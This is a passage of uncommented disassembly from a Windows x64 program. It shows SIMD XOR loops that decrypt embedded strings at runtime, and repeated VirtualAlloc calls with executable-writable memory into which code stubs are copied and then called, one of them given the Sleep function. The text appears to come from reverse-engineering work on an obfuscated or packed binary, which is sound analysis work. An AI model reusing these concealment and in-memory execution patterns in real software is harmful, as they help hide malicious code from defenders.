pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x1401f9e60
cmp r9d, 0x1e
jge 0x1401fa041
movsxd rax, r9d
lea r10, [rbp + 0x100]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1e
jl 0x1401f9ff0
lea rax, [rbp + 0x100]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov r12, qword [rax]
xor r12, rdi
mov qword [rbp + 0xe0], r12
mov qword [rax], 0
xor ecx, ecx
mov rax, qword [0x14028e440]
test rax, rax
je 0x1401fa0c0
xor edx, edx
lea r8, [0x140242e20]
cmp rax, r8
je 0x1401fa0af
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x28e440]
test rax, rax
jne 0x1401fa097
jmp 0x1401fa0c0
mov r8, qword [rbx + rdx*8 + 0x28ddf0]
test r8, r8
jne 0x1401fa1a8
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401fa180
lea rax, [0x140242e20]
mov rcx, r8
mov rdx, rsi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401fa0f2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028dab0]
lea rcx, [0x140242e20]
mov qword [rbx + rax*8 + 0x28e440], rcx
mov qword [rbx + rax*8 + 0x28ddf0], r8
inc rax
mov qword [0x14028dab0], rax
lea rdx, [rsp + 0x40]
lea rcx, [fcn.1401f41f0]
call r8
nop
mov dword [rsp + 0x40], 0x320
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xe0], r12
mov qword [rax], 0
xor ecx, ecx
mov rax, qword [0x14028e110]
test rax, rax
je 0x1401fa22d
xor edx, edx
lea r8, [0x140242e50]
cmp rax, r8
je 0x1401fa21c
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x28e110]
test rax, rax
jne 0x1401fa204
jmp 0x1401fa22d
mov r8, qword [rbx + rdx*8 + 0x2903f0]
test r8, r8
jne 0x1401fa316
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401fa2ee
lea rax, [0x140242e50]
mov rcx, r8
mov rdx, rsi
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401fa260
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028e760]
lea rcx, [0x140242e50]
mov qword [rbx + rax*8 + 0x28e110], rcx
mov qword [rbx + rax*8 + 0x2903f0], r8
inc rax
mov qword [0x14028e760], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor r12, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r12
mov rax, qword [str.__gf_mO_r____84iuWqzw]
mov qword [rsp + 0x40], rax
mov r12d, dword [0x14028a090]
cmp byte [0x140275d97], 0
je 0x1401fa51c
xor r9d, r9d
cmp r12d, 2
jl 0x1401fa4bf
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm9
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x40]
xorps xmm2, xmm1
movd dword [rsp + 0x40], xmm2
movdqa xmm4, xmmword [0x140279570]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
jmp 0x1401fa51c
lea r10, [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x323e34a3
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x1401fa4d0
lea rax, [rsp + 0x40]
inc r15
cmp byte [rax + r15], 0
jne 0x1401fa521
mov rcx, qword [rbp + 0x130]
sub r13, rcx
cmp r13, r15
jb 0x1401fab46
lea rax, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rax, qword [rbp + 0x120]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1402462d0
nop
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rax, qword [rsp + 0x48]
mov qword [rbp + 0xe0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x110], rax
mov r15, qword [rax]
xor r15, rdi
mov qword [rbp + 0x100], r15
xor r13d, r13d
mov qword [rax], r13
mov ecx, r13d
mov rax, qword [0x1402910a0]
test rax, rax
je 0x1401fa5f9
mov edx, r13d
cmp rax, r14
je 0x1401fa5e8
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2910a0]
test rax, rax
jne 0x1401fa5d0
jmp 0x1401fa5f9
mov r8, qword [rbx + rdx*8 + 0x28f710]
test r8, r8
jne 0x1401fa6df
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1401fa622
mov r8, r13
jmp 0x1401fa6be
mov rax, r14
mov rcx, r8
mov rdx, rsi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401fa630
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028d160]
mov qword [rbx + rax*8 + 0x2910a0], r14
mov qword [rbx + rax*8 + 0x28f710], r8
inc rax
mov qword [0x14028d160], rax
lea rdx, [rbp + 0xe0]
lea rcx, [fcn.1401f41f0]
call r8
nop
xor r15, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r15
lea rcx, [rsp + 0x48]
call fcn.140240fd0
movups xmm0, xmmword [str.3_g_.__6uu]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [str.__05_._.2.]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x140277098]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x1402770a8]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1402770b0]
mov dword [rbp - 0x38], eax
movzx eax, word [0x1402770b4]
mov word [rbp - 0x34], ax
movzx eax, byte [0x1402770b6]
mov byte [rbp - 0x32], al
mov r9d, r13d
cmp r12d, 2
jl 0x1401fa8f9
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rbp - 0x6c]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x1401fa780
cmp r9d, 0x3f
jge 0x1401fa961
movsxd rax, r9d
lea r10, [rbp - 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x1401fa910
lea rax, [rbp - 0x70]
mov qword [rbp + 0xe0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
lea r12, [rbp + 0x1f8]
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x110], r12
mov r14, qword [r12]
xor r14, rdi
mov qword [rbp + 0x100], r14
mov qword [r12], r13
mov ecx, r13d
mov rax, qword [0x14028e440]
lea r15, [0x140242e20]
test rax, rax
je 0x1401fa9df
mov rdx, r13
cmp rax, r15
je 0x1401fa9ce
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x28e440]
test rax, rax
jne 0x1401fa9b6
jmp 0x1401fa9df
mov r8, qword [rbx + rdx*8 + 0x28ddf0]
test r8, r8
jne 0x1401faabf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1401faa08
mov r8, r13
jmp 0x1401faa9e
mov rax, r15
mov rcx, r8
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rsi, 1
jne 0x1401faa10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028dab0]
mov qword [rbx + rax*8 + 0x28e440], r15
mov qword [rbx + rax*8 + 0x28ddf0], r8
inc rax
mov qword [0x14028dab0], rax
lea rdx, [rbp + 0xe0]
lea rcx, [fcn.1401f41f0]
call r8
nop
xor r14, rdi
mov qword [r12], r14
lea rcx, [rbp + 0x120]
call fcn.140240fd0
nop
xor rdi, qword [rbp - 0x78]
lea rax, [rbp + 0x1f8]
mov qword [rax], rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rsp
call fcn.1402662e0
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1401f1090
nop
call fcn.1401f1090
int3